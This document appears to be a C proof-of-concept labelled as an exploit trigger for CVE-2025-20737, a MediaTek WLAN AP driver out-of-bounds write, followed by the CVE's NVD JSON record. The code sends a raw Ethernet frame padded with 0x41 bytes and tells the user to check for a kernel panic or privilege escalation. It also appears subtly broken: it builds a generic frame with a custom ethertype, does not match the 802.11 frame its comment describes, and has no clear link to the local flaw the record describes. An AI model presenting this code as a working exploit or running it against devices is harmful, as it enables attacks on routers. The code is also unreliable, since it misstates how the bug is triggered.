CVE-2025-20737

// CVE-2025-20737 MediaTek WLAN AP Driver Out of Bounds Write PoC // This PoC demonstrates the vulnerability trigger mechanism // Note: Actual exploitation requires kernel debugging environment #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <netpacket/packet.h> #include <net/ethernet.h> #include <net/if.h> #define MALICIOUS_PAYLOAD_SIZE 4096 #define TARGET_BUFFER_SIZE 1024 void construct_malicious_packet(unsigned char *packet, size_t *len) { // Construct 802.11 frame with oversized payload // The driver fails to properly validate the size unsigned char *payload = packet + sizeof(struct ether_header); // Fill with controlled data to trigger OOB write memset(payload, 0x41, MALICIOUS_PAYLOAD_SIZE); // Set packet length exceeding driver's internal buffer *len = sizeof(struct ether_header) + MALICIOUS_PAYLOAD_SIZE; } int send_trigger_packet(const char *interface) { int sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (sock < 0) { perror("socket creation failed"); return -1; } unsigned char packet[8192]; size_t packet_len = 0; struct ether_header *eth = (struct ether_header *)packet; eth->ether_type = htons(0x1234); // Custom protocol memset(eth->ether_shost, 0xAA, ETH_ALEN); memset(eth->ether_dhost, 0xBB, ETH_ALEN); construct_malicious_packet(packet, &packet_len); send(sock, packet, packet_len, 0); close(sock); return 0; } int main(int argc, char *argv[]) { const char *iface = argc > 1 ? argv[1] : "wlan0"; printf("[*] CVE-2025-20737 MediaTek WLAN AP OOB Write Trigger\n"); printf("[*] Target interface: %s\n", iface); printf("[*] Sending malicious packet...\n"); send_trigger_packet(iface); printf("[+] Packet sent. Check for kernel panic or privilege escalation.\n"); return 0; }

{"cve": {"id": "CVE-2025-20737", "sourceIdentifier": "[email protected]", "published": "2025-11-04T07:15:41.730", "lastModified": "2025-11-05T17:12:57.940", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In wlan AP driver, there is a possible out of bounds write due to an incorrect bounds check. This could lead to local escalation of privilege with User execution privileges needed. User interaction is not needed for exploitation. Patch ID: WCNCR00435343; Issue ID: MSV-4040."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mediatek:software_development_kit:*:*:*:*:*:*:*:*", "versionEndIncluding": "7.6.7.2", "matchCriteriaId": "0DD86CC1-BD46-42D2-9112-190CCAC96B30"}, {"vulnerable": true, "criteria": "cpe:2.3:o:openwrt:openwrt:19.07.0:-:*:*:*:*:*:*", "matchCriteriaId": "4FA469E2-9E63-4C9A-8EBA-10C8C870063A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:openwrt:openwrt:21.02.0:-:*:*:*:*:*:*", "matchCriteriaId": "F0133207-2EED-4625-854F-8DB7770D5BF7"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:*", "matchCriteriaId": "171D1C08-F055-44C0-913C-AA2B73AF5B72"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7615:-:*:*:*:*:*:*:*", "matchCriteriaId": "05748BB1-0D48-4097-932E-E8E2E574FD8D"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7622:-:*:*:*:*:*:*:*", "matchCriteriaId": "55EB4B27-6264-45BE-9A22-BE8418BB0C06"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7663:-:*:*:*:*:*:*:*", "matchCriteriaId": "10C79211-F064-499D-914E-0BACD038FBF4"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7915:-:*:*:*:*:*:*:*", "matchCriteriaId": "3AB22996-9C22-4B6C-9E94-E4C055D16335"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7916:-:*:*:*:*:*:*:*", "matchCriteriaId": "DD5AA441-5381-4179-89EB-1642120F72B4"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7981:-:*:*:*:*:*:*:*", "matchCriteriaId": "490CD97B-021F-4350-AEE7-A2FA866D5889"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7986:-:*:*:*:*:*:*:*", "matchCriteriaId": "40A9E917-4B34-403F-B512-09EEBEA46811"}]}]}], "references": [{"url": "https://corp.mediatek.com/product-security-bulletin/November-2025", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}